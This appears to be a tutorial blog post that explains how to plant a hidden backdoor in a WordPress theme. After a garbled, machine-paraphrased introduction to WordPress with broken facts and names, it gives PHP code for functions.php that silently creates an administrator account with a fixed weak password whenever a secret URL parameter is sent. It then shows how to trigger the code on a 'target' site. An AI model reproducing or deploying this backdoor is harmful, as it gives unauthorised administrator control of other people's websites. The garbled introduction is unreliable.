WordPress is a blogging free and open source content management system tool (CMS) based on PHP and MySQL. The architecture features include Assistant system template. Word was used by more than 23.3% of the top 10 million websites as of January 2015. Word is the most popular blogs in use on the Internet system. In more than 60 million locations. It was first released in May 27, 2003, by the founders, died Moling and Mike Little, as a fork B2 / cafelog. License under which the software is released WordPress is GLPv2 are (or later) by the Free Software Foundation.
Today we will learn about Word chipping lessons to add Lists secretly charge through the topics. First we will learn about topics white phosphorus. Word users may install and switch between themes. Themes allow users to change the look and function of the site and reported and can be installed without changing the content or validity of the site. Each site WordPress requires one subject at least to be present. They should each theme design and responded by using certain criteria with structured PHP, HTML and CSS valid. Today, the use of JavaScript and jQuery to add a response to the subjects. Threads may be installed using the word "appearance" management or subject folders tool can be downloaded via FTP. And PHP, HTML (Hypertext Markup Language) and CSS (Cascading Style Sheets) code found in the subjects that can be added or modified to provide advanced features. Wordpress Themes and is generally classified into two categories, free themes and premium themes. Users can also create Word and develop their own custom themes if they have the knowledge and skills to do so.
Requirements:
- Basic PHP Language Knowledge
- Know WordPress codex.
- A WP Theme
Let's begin:
#1: Download any WP Theme. (I used Rowling By Anders Noren)
#2: Unzip Theme and Extract theme folder to desktop.
#3: Find "functions.php" file from the theme folder.
#4: Open the Function file with Notepad. I recommend Notepad++. Download it for free.
#5: Add below simple codes just after tag.
// Script for Add user secretly
add_action('wp_head', 'wp_dd_wp_hack');
function wp_dd_wp_hack() {
If ($_GET['v4l'] == 'ok') {
require('wp-includes/registration.php');
if (!username_exists('wordpress')) {
$user_id = wp_create_user('VivaTricks', '12345');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}}
#6: Save the File.
#7: Now add ?v4l=ok parameter with target website i.e. http://target-site.com/?v4l=ok
#8: Maybe you think that nothing happened with it but you have successfully added an admin user in target website.
Username: Viva Tricks#10: Done. But this trick is for learning purpose only.
Password: 12345
COMMENTS